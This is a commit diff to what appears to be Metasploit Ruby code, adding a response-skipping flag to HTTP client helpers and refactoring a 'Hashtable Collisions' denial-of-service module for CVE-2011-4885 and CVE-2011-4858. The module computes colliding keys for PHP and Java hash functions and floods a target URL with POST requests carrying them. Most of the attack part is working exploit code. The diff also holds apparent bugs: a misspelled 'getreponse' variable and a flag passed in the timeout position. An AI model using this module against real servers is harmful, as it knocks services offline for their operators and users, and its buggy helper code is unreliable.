Switched to Http Library, Code formatting issues
parent
dc10fac885
commit
b298597218
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@ -247,11 +247,11 @@ module Exploit::Remote::HttpClient
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#
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# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
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#
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def send_request_raw(opts={}, timeout = 20)
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def send_request_raw(opts={}, timeout = 20, getresponse = true)
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begin
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c = connect(opts)
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r = c.request_raw(opts)
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c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
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c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) if getreponse == true
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rescue ::Errno::EPIPE, ::Timeout::Error
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nil
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end
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@ -262,11 +262,11 @@ module Exploit::Remote::HttpClient
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#
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# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
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#
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def send_request_cgi(opts={}, timeout = 20)
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def send_request_cgi(opts={}, timeout = 20, getresponse = true)
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begin
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c = connect(opts)
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r = c.request_cgi(opts)
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c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
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c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) if getresponse == true
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rescue ::Errno::EPIPE, ::Timeout::Error
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nil
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end
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@ -13,12 +13,12 @@ require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Hashtable collisions',
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'Name' => 'Hashtable Collisions',
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'Description' => %q{
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A variety of programming languages suffer from a denial-of-service (DoS) condition against storage functions
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of key/value pairs in hash data structures, the condition can be leveraged by exploiting predictable collisions
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@ -47,16 +47,14 @@ class Metasploit3 < Msf::Auxiliary
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['CVE', '2011-4885'],
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['CVE', '2011-4858']
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],
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'DisclosureDate' => 'Dec 28 2011'))
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'DisclosureDate'=> 'Dec 28 2011'))
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register_options(
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[
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Opt::RPORT(80),
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OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]),
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OptString.new('URL', [ true, "The request URI", '/' ]),
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OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ]),
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OptString.new('VHOST', [ false, "Name of VHost", nil ]),
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OptBool.new('VERBOSE', [ false, "Verbose Output", true ])
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OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ])
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], self.class)
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register_advanced_options(
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@ -132,7 +130,6 @@ class Metasploit3 < Msf::Auxiliary
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@recursivecounter = @recursivecounter + 1
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hashes = computeCollisionChars
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else
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if datastore['VERBOSE']
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print_status("Found values:")
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hashes.each_value {|item|
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print_status("\tValue: #{item}\tHash: #{@function.call(item)}")
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@ -141,7 +138,6 @@ class Metasploit3 < Msf::Auxiliary
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}
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}
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end
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end
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return hashes
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end
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@ -150,16 +146,17 @@ class Metasploit3 < Msf::Auxiliary
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result = start
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inputstring.each_char {|item|
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result = result + ((base ** counter) * item.ord)
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counter = counter - 1 }
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counter = counter - 1
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}
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return result.round
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end
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#PHP's hash function
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# PHP's hash function
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def DJBX33A(inputstring)
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return DJBXA(inputstring, 33, 5381)
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end
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#Java's hash function
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# Java's hash function
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def DJBX31A(inputstring)
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return DJBXA(inputstring, 31, 0)
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end
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@ -183,14 +180,6 @@ class Metasploit3 < Msf::Auxiliary
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exit
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end
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if datastore['RPORT'] == "443"
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datastore['SSL'] = true
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end
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if datastore['VHOST'].nil? || datastore['VHOST'].blank? || datastore['VHOST'].empty?
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datastore['VHOST'] = "#{datastore['RHOST']}:#{datastore['RPORT']}"
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end
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print_status("Generating Payload...")
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payload = generatePayload
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return if payload == nil
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@ -203,34 +192,13 @@ class Metasploit3 < Msf::Auxiliary
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print_status("Payload generated")
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for x in 1..datastore['RLIMIT']
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begin
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connect
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print_status("sending Request ##{x}...")
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sploit = "POST #{datastore['URL']} HTTP/1.1\r\n"
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sploit << "Host: #{datastore['VHOST']}\r\n"
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sploit << "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n"
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sploit << "Connection: Close\r\n"
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sploit << "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)\r\n"
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sploit << "Content-Length: #{payload.length}\r\n"
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sploit << "\r\n#{payload}\r\n\r\n"
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if datastore['VERBOSE']
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if sploit.length > 400
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puts sploit[0,400] + "...."
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else
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puts sploit
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end
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end
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sock.put(sploit)
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disconnect
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("Unable to connect to #{rhost}:#{rport}.")
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disconnect
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rescue
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disconnect
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end
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opts = {
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'method' => 'POST',
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'uri' => datastore['URL'],
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'data' => payload
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}
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send_request_cgi(opts, getresponse = false)
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end
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end
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end
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